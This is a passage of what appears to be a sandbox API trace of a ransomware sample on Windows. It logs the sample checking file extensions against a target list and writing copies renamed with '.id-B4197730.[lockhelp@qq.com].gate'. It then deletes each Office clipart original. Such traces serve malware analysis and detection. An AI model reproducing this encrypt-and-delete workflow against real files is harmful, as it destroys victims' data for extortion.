[0320.474] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0320.474] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.475] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.475] SetEndOfFile (hFile=0x344) returned 1 [0320.475] CloseHandle (hObject=0x344) returned 1 [0320.475] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.475] SetEndOfFile (hFile=0x340) returned 1 [0320.476] CloseHandle (hObject=0x340) returned 1 [0320.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0320.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.476] lstrlenW (lpString=".doc") returned 4 [0320.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.476] lstrlenW (lpString=".docx") returned 5 [0320.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.476] lstrlenW (lpString=".pdf") returned 4 [0320.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.477] lstrlenW (lpString=".xls") returned 4 [0320.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.477] lstrlenW (lpString=".xlsx") returned 5 [0320.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.477] lstrlenW (lpString=".ppt") returned 4 [0320.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.477] lstrlenW (lpString=".zip") returned 4 [0320.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.477] lstrlenW (lpString=".rar") returned 4 [0320.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.477] lstrlenW (lpString=".bz2") returned 4 [0320.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.477] lstrlenW (lpString=".7z") returned 3 [0320.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.477] lstrlenW (lpString=".dbf") returned 4 [0320.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.477] lstrlenW (lpString=".1cd") returned 4 [0320.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.477] lstrlenW (lpString=".jpg") returned 4 [0320.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.478] lstrlenW (lpString=".doc") returned 4 [0320.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.478] lstrlenW (lpString=".docx") returned 5 [0320.478] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.478] lstrlenW (lpString=".pdf") returned 4 [0320.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.478] lstrlenW (lpString=".xls") returned 4 [0320.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.478] lstrlenW (lpString=".xlsx") returned 5 [0320.478] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.478] lstrlenW (lpString=".ppt") returned 4 [0320.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.478] lstrlenW (lpString=".zip") returned 4 [0320.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.478] lstrlenW (lpString=".rar") returned 4 [0320.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.478] lstrlenW (lpString=".bz2") returned 4 [0320.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.478] lstrlenW (lpString=".7z") returned 3 [0320.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.478] lstrlenW (lpString=".dbf") returned 4 [0320.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.478] lstrlenW (lpString=".1cd") returned 4 [0320.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0320.478] lstrlenW (lpString=".jpg") returned 4 [0320.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.479] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.479] lstrlenW (lpString="AN01084_.WMF") returned 12 [0320.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0320.479] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=1832) returned 1 [0320.479] CloseHandle (hObject=0x340) returned 1 [0320.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0320.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0320.479] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.479] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0320.480] GetLastError () returned 0x0 [0320.480] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x728, lpOverlapped=0x0) returned 1 [0320.481] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x730, lpOverlapped=0x0) returned 1 [0320.482] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.482] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.482] SetEndOfFile (hFile=0x344) returned 1 [0320.482] CloseHandle (hObject=0x344) returned 1 [0320.482] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.482] SetEndOfFile (hFile=0x340) returned 1 [0320.484] CloseHandle (hObject=0x340) returned 1 [0320.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0320.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.485] lstrlenW (lpString=".doc") returned 4 [0320.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.485] lstrlenW (lpString=".docx") returned 5 [0320.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.485] lstrlenW (lpString=".pdf") returned 4 [0320.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.485] lstrlenW (lpString=".xls") returned 4 [0320.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.485] lstrlenW (lpString=".xlsx") returned 5 [0320.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.485] lstrlenW (lpString=".ppt") returned 4 [0320.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.485] lstrlenW (lpString=".zip") returned 4 [0320.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.485] lstrlenW (lpString=".rar") returned 4 [0320.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.485] lstrlenW (lpString=".bz2") returned 4 [0320.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.485] lstrlenW (lpString=".7z") returned 3 [0320.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.486] lstrlenW (lpString=".dbf") returned 4 [0320.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.486] lstrlenW (lpString=".1cd") returned 4 [0320.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.486] lstrlenW (lpString=".jpg") returned 4 [0320.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.486] lstrlenW (lpString=".doc") returned 4 [0320.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.486] lstrlenW (lpString=".docx") returned 5 [0320.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.486] lstrlenW (lpString=".pdf") returned 4 [0320.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.486] lstrlenW (lpString=".xls") returned 4 [0320.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.486] lstrlenW (lpString=".xlsx") returned 5 [0320.486] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.486] lstrlenW (lpString=".ppt") returned 4 [0320.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.486] lstrlenW (lpString=".zip") returned 4 [0320.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.486] lstrlenW (lpString=".rar") returned 4 [0320.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.486] lstrlenW (lpString=".bz2") returned 4 [0320.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.486] lstrlenW (lpString=".7z") returned 3 [0320.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.487] lstrlenW (lpString=".dbf") returned 4 [0320.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.487] lstrlenW (lpString=".1cd") returned 4 [0320.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0320.487] lstrlenW (lpString=".jpg") returned 4 [0320.487] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.487] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.487] lstrlenW (lpString="AN01173_.WMF") returned 12 [0320.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0320.487] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=26332) returned 1 [0320.487] CloseHandle (hObject=0x340) returned 1 [0320.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0320.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0320.488] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.488] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0320.488] GetLastError () returned 0x0 [0320.488] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x66dc, lpOverlapped=0x0) returned 1 [0321.027] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x66e0, lpOverlapped=0x0) returned 1 [0321.028] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.028] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.028] SetEndOfFile (hFile=0x344) returned 1 [0321.028] CloseHandle (hObject=0x344) returned 1 [0321.028] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.028] SetEndOfFile (hFile=0x340) returned 1 [0321.029] CloseHandle (hObject=0x340) returned 1 [0321.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0321.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.030] lstrlenW (lpString=".doc") returned 4 [0321.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.030] lstrlenW (lpString=".docx") returned 5 [0321.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.030] lstrlenW (lpString=".pdf") returned 4 [0321.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.030] lstrlenW (lpString=".xls") returned 4 [0321.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.030] lstrlenW (lpString=".xlsx") returned 5 [0321.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.030] lstrlenW (lpString=".ppt") returned 4 [0321.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.030] lstrlenW (lpString=".zip") returned 4 [0321.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.030] lstrlenW (lpString=".rar") returned 4 [0321.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.030] lstrlenW (lpString=".bz2") returned 4 [0321.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.030] lstrlenW (lpString=".7z") returned 3 [0321.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.030] lstrlenW (lpString=".dbf") returned 4 [0321.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.031] lstrlenW (lpString=".1cd") returned 4 [0321.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.031] lstrlenW (lpString=".jpg") returned 4 [0321.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.031] lstrlenW (lpString=".doc") returned 4 [0321.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.031] lstrlenW (lpString=".docx") returned 5 [0321.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.031] lstrlenW (lpString=".pdf") returned 4 [0321.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.031] lstrlenW (lpString=".xls") returned 4 [0321.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.031] lstrlenW (lpString=".xlsx") returned 5 [0321.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.031] lstrlenW (lpString=".ppt") returned 4 [0321.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.031] lstrlenW (lpString=".zip") returned 4 [0321.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.031] lstrlenW (lpString=".rar") returned 4 [0321.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.031] lstrlenW (lpString=".bz2") returned 4 [0321.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.031] lstrlenW (lpString=".7z") returned 3 [0321.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.031] lstrlenW (lpString=".dbf") returned 4 [0321.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.032] lstrlenW (lpString=".1cd") returned 4 [0321.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0321.032] lstrlenW (lpString=".jpg") returned 4 [0321.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.032] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.032] lstrlenW (lpString="AN04195_.WMF") returned 12 [0321.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.032] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=4612) returned 1 [0321.032] CloseHandle (hObject=0x340) returned 1 [0321.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf")) returned 0x220 [0321.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.032] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.033] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04195_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04195_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.033] GetLastError () returned 0x0 [0321.033] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x1204, lpOverlapped=0x0) returned 1 [0321.034] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x1210, lpOverlapped=0x0) returned 1 [0321.035] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.035] WriteFile (in: 